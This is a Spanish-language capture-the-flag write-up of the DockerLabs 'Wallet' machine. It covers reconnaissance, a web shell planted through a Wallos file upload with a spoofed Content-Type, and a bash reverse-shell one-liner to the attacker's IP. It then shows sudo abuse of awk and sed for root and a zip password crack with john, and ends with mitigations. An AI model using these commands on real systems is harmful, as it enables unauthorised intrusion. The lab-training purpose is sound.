Wallet

Introducción

Este documento presenta la resolución completa de la máquina Wallet, desarrollada por Pylon & El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media.

El laboratorio expone una aplicación web vulnerable que utiliza una versión específica del gestor Wallos, la cual presenta una vulnerabilidad de carga arbitraria de archivos que permite el despliegue de una web shell. A partir de esta, se obtiene ejecución remota de comandos como el usuario www-data.

Tras el acceso inicial, se encadenan múltiples configuraciones inseguras de sudo, permitiendo la ejecución de binarios como otros usuarios sin autenticación adicional, lo que facilita una escalada de privilegios progresiva hasta obtener acceso completo como root.

Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.

Información Técnica

Atributo	Valor
Nombre	Wallet
Autor	Pylon & El Pingüino de Mario
Dificultad	Medio
Fecha	12/07/2024
Plataforma	DockerLabs
IP Objetivo	172.17.0.2

Paso 0 — Despliegue y preparación

Se descomprime la máquina y se despliega utilizando el script proporcionado:

unzip Wallet.zip
sudo bash auto_deploy.sh Wallet.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

IP asignada

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

mkdir -p Wallet/{content,exploits,nmap,scripts}
cd Wallet

Paso 1 — Reconocimiento

1.1 Escaneo de puertos

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado muestra los siguientes servicios accesibles externamente:

22/tcp — SSH
80/tcp — HTTP

Puertos abiertos

1.2 Enumeración web

Al acceder al servicio web, se identifica un dominio virtual utilizado por la aplicación:

panel.wallet.dl

Por lo tanto, se agrega la entrada correspondiente al archivo /etc/hosts.

Se procede a realizar fuzzing de rutas y archivos:

feroxbuster -u http://panel.wallet.dl \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
  -x php,html,txt,js -t 100 -C 404

feroxbuster result

Durante la enumeración se identifican los siguientes recursos relevantes:

login.php Redirige automáticamente al formulario de autenticación.
about.php Contiene información sensible, incluyendo la versión exacta de Wallos.

about content

Paso 2 — Explotación (Acceso inicial)

Con la versión identificada, se realiza una búsqueda en searchsploit, encontrando una vulnerabilidad relacionada con carga arbitraria de archivos:

searchsploit vuln

El exploit requiere:

Crear una cuenta válida.
Añadir una suscripción.
Manipular la subida del logo para cargar una web shell, alterando el Content-Type.

Ejemplo de modificación de la petición:

Content-Type: image/jpeg
GIF89a;

A continuación, se inserta el código de la web shell.

El archivo queda accesible en la siguiente ruta:

http://panel.wallet.dl/images/uploads/logos/

logo uploads

Se prueba la ejecución con el comando id:

test id

Tras confirmar la ejecución de comandos, se establece una reverse shell. Primero se inicia el listener:

nc -nlvp 443

Luego se ejecuta el payload desde la web shell:

bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"

Conexión establecida exitosamente:

reverse shell

Paso 3 — Escalada de privilegios

3.1 De `www-data` → `pylon`

Se listan los privilegios disponibles:

sudo -l

El usuario www-data puede ejecutar awk como el usuario pylon. Se abusa de esta configuración para obtener una shell:

sudo -u pylon awk 'BEGIN {system("/bin/bash")}'

Acceso obtenido como pylon:

pylon user

3.2 De `pylon` → `pinguino`

En el directorio home se encuentra el archivo:

secretitotraviesito.zip

test unzip

Al estar protegido por contraseña, se extrae el archivo utilizando base64:

base64 secretitotraviesito.zip

En la máquina atacante:

echo "base64 chain" > temp
cat temp | base64 -d | tee secretitotraviesito.zip

Se crackea la contraseña con john:

zip2john secretitotraviesito.zip | tee hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

john result

El archivo notitachingona.txt contiene las credenciales del usuario pinguino, permitiendo el cambio de usuario:

su pinguino

3.3 De `pinguino` → `root`

Se revisan los privilegios sudo:

sudo -l

El usuario puede ejecutar sed como root. Se explota esta configuración para obtener una shell privilegiada:

sudo sed -n '1e exec bash 1>&0' /etc/hosts

Acceso como root obtenido:

root user

Análisis de Vulnerabilidades

Fallos de Seguridad Identificados

Vulnerabilidad	Severidad	Impacto
Carga arbitraria de archivos en Wallos	Crítica	Ejecución remota de comandos
Exposición de versión del software	Media	Explotación dirigida
Uso de web shells sin validación	Crítica	Compromiso inicial del sistema
Configuraciones inseguras de `sudo`	Crítica	Escalada de privilegios
Almacenamiento inseguro de credenciales	Alta	Compromiso de múltiples usuarios

Recomendaciones de Mitigación

Restringir la carga de archivos y validar correctamente el tipo MIME.
Evitar la exposición de versiones de software en producción.
Aplicar el principio de mínimo privilegio en configuraciones sudo.
Proteger archivos sensibles y evitar reutilización de credenciales.
Auditar periódicamente servicios web y configuraciones del sistema.